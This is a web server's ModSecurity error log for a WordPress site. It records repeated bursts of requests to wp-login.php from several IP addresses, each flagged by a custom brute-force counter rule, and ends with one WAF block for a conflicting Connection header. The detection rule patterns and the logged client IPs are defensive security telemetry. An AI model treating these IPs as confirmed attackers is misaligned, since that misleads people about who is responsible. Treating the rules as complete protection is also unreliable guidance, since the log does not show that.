[Thu Apr 30 22:27:17.173532 2026] [:error] [pid 6456:tid 6466] [client 89.233.105.174:39120] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxUOBwsDodnkJK5x9QgAAAEg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:17.396667 2026] [:error] [pid 6456:tid 6458] [client 89.233.105.174:39104] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxUOBwsDodnkJK5x9QwAAAEA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:17.508586 2026] [:error] [pid 6456:tid 6467] [client 89.233.105.174:39108] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxUOBwsDodnkJK5x9RAAAAEk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:18.210933 2026] [:error] [pid 6456:tid 6465] [client 89.233.105.174:39120] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxkOBwsDodnkJK5x9RQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:18.553261 2026] [:error] [pid 6456:tid 6470] [client 89.233.105.174:39104] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxkOBwsDodnkJK5x9RgAAAEw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:18.650158 2026] [:error] [pid 6456:tid 6479] [client 89.233.105.174:39108] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxkOBwsDodnkJK5x9RwAAAFU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:19.246667 2026] [:error] [pid 6456:tid 6469] [client 89.233.105.174:39120] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmx0OBwsDodnkJK5x9SgAAAEs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:25.337166 2026] [:error] [pid 5732:tid 5772] [client 20.127.163.226:55978] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnCduJ3iSd5GdjqlhQWAAAAMk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:25.337449 2026] [:error] [pid 6456:tid 6480] [client 20.127.163.226:55976] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnCUOBwsDodnkJK5x9hQAAAFY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:25.340898 2026] [:error] [pid 5732:tid 5782] [client 20.127.163.226:55988] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnCduJ3iSd5GdjqlhQWQAAANM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:26.649952 2026] [:error] [pid 5732:tid 5764] [client 20.127.163.226:55978] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnCtuJ3iSd5GdjqlhQXAAAAME"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:26.839366 2026] [:error] [pid 6456:tid 6465] [client 20.127.163.226:55976] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnCkOBwsDodnkJK5x9iAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:27.698859 2026] [:error] [pid 5732:tid 5771] [client 20.127.163.226:55988] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnC9uJ3iSd5GdjqlhQXQAAAMg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:27.828077 2026] [:error] [pid 5732:tid 5769] [client 20.127.163.226:55978] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnC9uJ3iSd5GdjqlhQXgAAAMY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:28.143827 2026] [:error] [pid 6456:tid 6470] [client 20.127.163.226:55976] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnDEOBwsDodnkJK5x9jQAAAEw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:28.934735 2026] [:error] [pid 5732:tid 5784] [client 20.127.163.226:55988] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnDNuJ3iSd5GdjqlhQXwAAANU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:29.007450 2026] [:error] [pid 5732:tid 5783] [client 20.127.163.226:55978] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnDduJ3iSd5GdjqlhQYAAAANQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:28:29.406951 2026] [:error] [pid 6456:tid 6469] [client 20.127.163.226:55976] [client 20.127.163.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.127.163.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnDUOBwsDodnkJK5x9lAAAAEs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:09.954903 2026] [:error] [pid 5820:tid 5829] [client 34.185.239.59:39514] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnNQyrLh3-LgH3Xv9lVAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:09.957943 2026] [:error] [pid 5731:tid 5744] [client 34.185.239.59:39504] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnNQ8tX7TbSfYoUIxNVwAAAIk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:09.961670 2026] [:error] [pid 6456:tid 6467] [client 34.185.239.59:39508] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnNUOBwsDodnkJK5x9tAAAAEk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:11.365670 2026] [:error] [pid 6456:tid 6466] [client 34.185.239.59:39508] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnN0OBwsDodnkJK5x9tQAAAEg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:11.369415 2026] [:error] [pid 5820:tid 5827] [client 34.185.239.59:39514] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnNwyrLh3-LgH3Xv9lVwAAAAU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:11.467150 2026] [:error] [pid 5731:tid 5737] [client 34.185.239.59:39504] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnNw8tX7TbSfYoUIxNWAAAAII"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:12.739550 2026] [:error] [pid 5820:tid 5839] [client 34.185.239.59:39514] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnOAyrLh3-LgH3Xv9lWQAAABE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:12.745597 2026] [:error] [pid 6456:tid 6464] [client 34.185.239.59:39508] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnOEOBwsDodnkJK5x9uAAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:12.805966 2026] [:error] [pid 5731:tid 5736] [client 34.185.239.59:39504] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnOA8tX7TbSfYoUIxNWQAAAIE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:14.035803 2026] [:error] [pid 5820:tid 5829] [client 34.185.239.59:39514] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnOgyrLh3-LgH3Xv9lWwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:14.040199 2026] [:error] [pid 5731:tid 5754] [client 34.185.239.59:39504] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnOg8tX7TbSfYoUIxNWgAAAJM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:29:14.053303 2026] [:error] [pid 6456:tid 6459] [client 34.185.239.59:39508] [client 34.185.239.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.185.239.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnOkOBwsDodnkJK5x9uwAAAEE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:19.827286 2026] [:error] [pid 6456:tid 6473] [client 188.245.122.69:58688] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNne0OBwsDodnkJK5x99gAAAE8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:19.827574 2026] [:error] [pid 5731:tid 5736] [client 188.245.122.69:58700] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnew8tX7TbSfYoUIxNdAAAAIE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:19.831657 2026] [:error] [pid 5732:tid 5779] [client 188.245.122.69:58704] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNne9uJ3iSd5GdjqlhQuwAAANA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:21.256296 2026] [:error] [pid 5731:tid 5740] [client 188.245.122.69:58700] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnfQ8tX7TbSfYoUIxNdwAAAIU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:21.312609 2026] [:error] [pid 6456:tid 6464] [client 188.245.122.69:58688] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnfUOBwsDodnkJK5x9_AAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:22.321016 2026] [:error] [pid 5732:tid 5775] [client 188.245.122.69:58704] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnftuJ3iSd5GdjqlhQvQAAAMw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:22.571723 2026] [:error] [pid 5731:tid 5758] [client 188.245.122.69:58700] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnfg8tX7TbSfYoUIxNeAAAAJc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:22.608644 2026] [:error] [pid 6456:tid 6482] [client 188.245.122.69:58688] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnfkOBwsDodnkJK5x-AAAAAFg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:23.593945 2026] [:error] [pid 5732:tid 5773] [client 188.245.122.69:58704] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnf9uJ3iSd5GdjqlhQvgAAAMo"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:23.887427 2026] [:error] [pid 5731:tid 5741] [client 188.245.122.69:58700] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnfw8tX7TbSfYoUIxNeQAAAIY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:23.898659 2026] [:error] [pid 6456:tid 6467] [client 188.245.122.69:58688] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNnf0OBwsDodnkJK5x-BAAAAEk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:24.878917 2026] [:error] [pid 5732:tid 5767] [client 188.245.122.69:58704] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNngNuJ3iSd5GdjqlhQvwAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:25.083498 2026] [:error] [pid 6456:tid 6478] [client 188.245.122.69:58688] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNngUOBwsDodnkJK5x-CgAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:30:25.169866 2026] [:error] [pid 5731:tid 5738] [client 188.245.122.69:58700] [client 188.245.122.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.122.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNngQ8tX7TbSfYoUIxNegAAAIM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:41.141379 2026] [:error] [pid 5820:tid 5822] [client 161.35.162.217:59776] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyHQyrLh3-LgH3Xv9uGgAAAAA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:41.141379 2026] [:error] [pid 5820:tid 5828] [client 161.35.162.217:59772] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyHQyrLh3-LgH3Xv9uGQAAAAY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:41.142174 2026] [:error] [pid 6456:tid 6480] [client 161.35.162.217:59766] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyHUOBwsDodnkJK5yJswAAAFY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:42.649449 2026] [:error] [pid 6456:tid 6470] [client 161.35.162.217:59766] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyHkOBwsDodnkJK5yJtAAAAEw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:42.783795 2026] [:error] [pid 5820:tid 5838] [client 161.35.162.217:59776] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyHgyrLh3-LgH3Xv9uHAAAABA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:43.792655 2026] [:error] [pid 5820:tid 5826] [client 161.35.162.217:59772] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyHwyrLh3-LgH3Xv9uHQAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:43.970052 2026] [:error] [pid 6456:tid 6459] [client 161.35.162.217:59766] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyH0OBwsDodnkJK5yJtQAAAEE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:44.085912 2026] [:error] [pid 5820:tid 5827] [client 161.35.162.217:59776] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyIAyrLh3-LgH3Xv9uHgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:45.150783 2026] [:error] [pid 5820:tid 5833] [client 161.35.162.217:59772] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyIQyrLh3-LgH3Xv9uHwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:45.294824 2026] [:error] [pid 6456:tid 6472] [client 161.35.162.217:59766] [client 161.35.162.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.162.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNyIUOBwsDodnkJK5yJtgAAAE4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:15:56.702613 2026] [:error] [pid 5733:tid 5791] [client 43.164.197.117:60744] [client 43.164.197.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afNyLPT55_Ioa9J2OpIEugAAAQE"]
